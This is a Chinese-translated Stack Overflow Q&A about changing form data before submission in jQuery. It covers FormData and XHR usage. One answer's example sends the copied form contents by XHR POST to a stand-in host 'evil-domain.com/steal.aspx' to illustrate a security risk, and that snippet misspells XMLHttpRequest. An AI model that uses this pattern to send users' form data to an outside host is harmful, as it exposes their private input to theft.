有没有办法在提交之前修改将发送到服务器的表单数据？答案

【问题标题】：Is there a way to modify the form data that will be sent to the server before submitting it?有没有办法在提交之前修改将发送到服务器的表单数据？
【发布时间】：2019-01-05 08:04:58
【问题描述】：

没有在submit事件中向表单添加更多隐藏控件，有没有办法在提交表单之前更改将在提交表单时发送的有效负载？

$("#frm").submit(event) {
  // Is there an API to change
  // the request body here
}

例如我想--

更改正在发送的隐藏字段的名称。
向请求正文/有效负载添加一些可迭代/可枚举的对象。

我可以通过在表单中添加更多具有我想要的名称的隐藏控件并在服务器上编写自定义模型绑定器来解决这两个问题。

但是是否有客户端 API 允许您在发送内容之前修改将发送到服务器的内容？

【问题讨论】：

标签： javascript jquery html dom

【解决方案1】：

我建议你看看Is it possible to change form data before sending it?

据我了解，该问题可能对您的问题有部分解决方案

【讨论】：

谢谢。通读一遍，似乎没有我正在寻找的 API。那一个手动更改 submit 事件中的字段值。

【解决方案2】：

截至目前，没有。而且可能永远不会因为这会带来安全隐患。

拥有此类功能的安全隐患

想象一下，您下载的第三方脚本是因为您使用了一个插件（例如 Google Analytics、ShareThis、来自广告提供商的广告等），该插件能够将他们自己的数据注入到您的表单中。如果有这样的方法，他们就有可能做到这一点。

但是您可以为 AJAX 请求执行类似的操作

有确实有一个FormData 对象，但这只是一个属性包，它允许脚本从页面上现有的form 元素复制数据或只需从一个空白的FormData 对象开始，即一个空白的属性包，在其中放入一些额外的属性，然后将它们发送到服务器，无论是您的 Web 应用程序还是第三方的，但仅在 AJAX 中请求。

var additionalDataToAppendToForm = { ... };

var formData = new FormData(myFormElement); // copies existing values from form to FormData
formData.delete(existingFieldName1);
formData.set(existingFieldName2, "newValue");
formData.append(/*name */ "additionalField1", /* value */ additionalDataToAppendToForm);

var xhr = new XmlHttpRequest();
xhr.open("POST", "https://evil-domain.com/steal.aspx");
xhr.send(formData);

当且仅当您没有注意同源策略并且没有保护您的网络服务器免受飞行前请求 来自其他域。

PS：我曾问过这个问题，然后决定没有办法，这是正确的，并在我的表单中添加了更多隐藏字段，如我的问题所示。但从那时起，我打算写一个答案来澄清任何可能有这个问题的人，所以我写了这个答案。

【讨论】：